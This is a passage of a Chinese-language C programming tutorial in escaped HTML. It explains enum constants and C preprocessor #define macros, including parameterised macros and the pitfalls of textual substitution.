class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eenum\u003c/span\u003e {\u003c/span\u003e X = \u003cspan class=\"number\"\u003e2\u003c/span\u003e, Y = \u003cspan class=\"number\"\u003e2\u003c/span\u003e, Z = \u003cspan class=\"number\"\u003e2\u003c/span\u003e };\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果一组常量之中,有些指定了值,有些没有指定。那么,没有指定值的常量会从上一个指定了值的常量,开始自动递增赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eenum\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e A, \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e B, \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e C = \u003cspan class=\"number\"\u003e4\u003c/span\u003e, \u003cspan class=\"comment\"\u003e// 4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e D, \u003cspan class=\"comment\"\u003e// 5\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e E, \u003cspan class=\"comment\"\u003e// 6\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e F = \u003cspan class=\"number\"\u003e3\u003c/span\u003e \u003cspan class=\"comment\"\u003e// 3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e G, \u003cspan class=\"comment\"\u003e// 4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e H \u003cspan class=\"comment\"\u003e// 5\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eEnum 的作用域与变量相同。如果是在顶层声明,那么在整个文件内都有效;如果是在代码块内部声明,则只对该代码块有效。如果与使用\u003ccode\u003eint\u003c/code\u003e声明的常量相比,Enum 的好处是更清晰地表示代码意图。\u003c/p\u003e\u003ch2 id=\"预处理器(Preprocessor)\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E9%A2%84%E5%A4%84%E7%90%86%E5%99%A8%EF%BC%88Preprocessor%EF%BC%89\" class=\"headerlink\" title=\"预处理器(Preprocessor)\"\u003e\u003c/a\u003e预处理器(Preprocessor)\u003c/h2\u003e\u003ch3 id=\"简介-8\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B-8\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003eC 语言编译器在编译程序之前,会先使用预处理器(preprocessor)处理代码。\u003c/p\u003e\u003cp\u003e预处理器首先会清理代码,进行删除注释、多行的语句合成一个逻辑行等等。然后,执行\u003ccode\u003e#\u003c/code\u003e开头的预处理指令。本章介绍 C 语言的预处理指令。\u003c/p\u003e\u003cp\u003e预处理指令可以出现在程序的任何地方,但是习惯上,往往放在代码的开头部分。\u003c/p\u003e\u003cp\u003e每个预处理指令都以\u003ccode\u003e#\u003c/code\u003e开头,放在一行的行首,指令前面可以有空白字符(比如空格或制表符)。\u003ccode\u003e#\u003c/code\u003e和指令的其余部分之间也可以有空格,但是为了兼容老的编译器,一般不留空格。\u003c/p\u003e\u003cp\u003e所有预处理指令都是一行的,除非在行尾使用反斜杠,将其折行。指令结尾处不需要分号。\u003c/p\u003e\u003ch3 id=\"define\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#define\" class=\"headerlink\" title=\"#define\"\u003e\u003c/a\u003e#define\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e#define\u003c/code\u003e是最常见的预处理指令,用来将指定的词替换成另一个词。它的参数分成两个部分,第一个参数就是要被替换的部分,其余参数是替换后的内容。每条替换规则,称为一个宏(macro)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e MAX 100\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e#define\u003c/code\u003e指定将源码里面的\u003ccode\u003eMAX\u003c/code\u003e,全部替换成\u003ccode\u003e100\u003c/code\u003e。\u003ccode\u003eMAX\u003c/code\u003e就称为一个宏。\u003c/p\u003e\u003cp\u003e宏的名称不允许有空格,而且必须遵守 C 语言的变量命名规则,只能使用字母、数字与下划线(\u003ccode\u003e_\u003c/code\u003e),且首字符不能是数字。\u003c/p\u003e\u003cp\u003e宏是原样替换,指定什么内容,就一模一样替换成什么内容。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e HELLO \u003cspan class=\"string\"\u003e\u0026#34;Hello, world\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 相当于 printf(\u0026#34;%s\u0026#34;, \u0026#34;Hello, world\u0026#34;);\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\u0026#34;\u003c/span\u003e, HELLO);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,宏\u003ccode\u003eHELLO\u003c/code\u003e会被原样替换成\u003ccode\u003e\u0026#34;Hello, world\u0026#34;\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#define\u003c/code\u003e指令可以出现在源码文件的任何地方,从指令出现的地方到该文件末尾都有效。习惯上,会将\u003ccode\u003e#define\u003c/code\u003e放在源码文件的头部。它的主要好处是,会使得程序的可读性更好,也更容易修改。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#define\u003c/code\u003e指令从\u003ccode\u003e#\u003c/code\u003e开始,一直到换行符为止。如果整条指令过长,可以在折行处使用反斜杠,延续到下一行。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e OW \u003cspan class=\"string\"\u003e\u0026#34;C programming language is invented \\\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u003cspan class=\"meta\"\u003ein 1970s.\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,第一行结尾的反斜杠将\u003ccode\u003e#define\u003c/code\u003e指令拆成两行。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#define\u003c/code\u003e允许多重替换,即一个宏可以包含另一个宏。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e TWO 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e FOUR TWO*TWO\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eFOUR\u003c/code\u003e会被替换成\u003ccode\u003e2*2\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e注意,如果宏出现在字符串里面(即出现在双引号中),或者是其他标识符的一部分,就会失效,并不会发生替换。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e TWO 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 TWO\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;TWO\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 22\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e TWOs = \u003cspan class=\"number\"\u003e22\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, TWOs);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,双引号里面的\u003ccode\u003eTWO\u003c/code\u003e,以及标识符\u003ccode\u003eTWOs\u003c/code\u003e,都不会被替换。\u003c/p\u003e\u003cp\u003e同名的宏可以重复定义,只要定义是相同的,就没有问题。如果定义不同,就会报错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 正确\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e FOO hello\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e FOO hello\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e BAR hello\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e BAR world\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,宏\u003ccode\u003eFOO\u003c/code\u003e没有变化,所以可以重复定义,宏\u003ccode\u003eBAR\u003c/code\u003e发生了变化,就报错了。\u003c/p\u003e\u003ch3 id=\"带参数的宏\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%B8%A6%E5%8F%82%E6%95%B0%E7%9A%84%E5%AE%8F\" class=\"headerlink\" title=\"带参数的宏\"\u003e\u003c/a\u003e带参数的宏\u003c/h3\u003e\u003ch4 id=\"基本用法-1\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%B3%95-1\" class=\"headerlink\" title=\"基本用法\"\u003e\u003c/a\u003e基本用法\u003c/h4\u003e\u003cp\u003e宏的强大之处在于,它的名称后面可以使用括号,指定接受一个或多个参数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQUARE(X) X*X\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,宏\u003ccode\u003eSQUARE\u003c/code\u003e可以接受一个参数\u003ccode\u003eX\u003c/code\u003e,替换成\u003ccode\u003eX*X\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e注意,宏的名称与左边圆括号之间,不能有空格。\u003c/p\u003e\u003cp\u003e这个宏的用法如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 替换成 z = 2*2;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ez = SQUARE(\u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这种写法很像函数,但又不是函数,而是完全原样的替换,会跟函数有不一样的行为。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQUARE(X) X*X\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出19\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, SQUARE(\u003cspan class=\"number\"\u003e3\u003c/span\u003e + \u003cspan class=\"number\"\u003e4\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eSQUARE(3 + 4)\u003c/code\u003e如果是函数,输出的应该是49(\u003ccode\u003e7*7\u003c/code\u003e);宏是原样替换,所以替换成\u003ccode\u003e3 + 4*3 + 4\u003c/code\u003e,最后输出19。\u003c/p\u003e\u003cp\u003e可以看到,原样替换可能导致意料之外的行为。解决办法就是在定义宏的时候,尽量多使用圆括号,这样可以避免很多意外。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQUARE(X) ((X) * (X))\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eSQUARE(X)\u003c/code\u003e替换后的形式,有两层圆括号,就可以避免很多错误的发生。\u003c/p\u003e\u003cp\u003e宏的参数也可以是空的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e getchar() getc(stdin)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,宏\u003ccode\u003egetchar()\u003c/code\u003e的参数就是空的。这种情况其实可以省略圆括号,但是加上了,会让它看上去更像函数。\u003c/p\u003e\u003cp\u003e一般来说,带参数的宏都是一行的。下面是两个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e MAX(x, y) ((x)\u0026gt;(y)?(x):(y))\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e IS_EVEN(n) ((n)%2==0)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果宏的长度过长,可以使用反斜杠(\u003ccode\u003e\\\u003c/code\u003e)折行,将宏写成多行。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e PRINT_NUMS_TO_PRODUCT(a, b) { \\\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e int product = (a) * (b); \\\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e for (int i = 0; i \u0026lt; product; i++) { \\\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e printf(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, i); \\\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e } \\\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,替换文本放在大括号里面,这是为了创造一个块作用域,避免宏内部的变量污染外部。\u003c/p\u003e\u003cp\u003e带参数的宏也可以嵌套,一个宏里面包含另一个宏。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e QUADP(a, b, c) ((-(b) + sqrt((b) * (b) - 4 * (a) * (c))) / (2 * (a)))\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e QUADM(a, b, c) ((-(b) - sqrt((b) * (b) - 4 * (a) * (c))) / (2 * (a)))\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e QUAD(a, b, c) QUADP(a, b, c), QUADM(a, b, 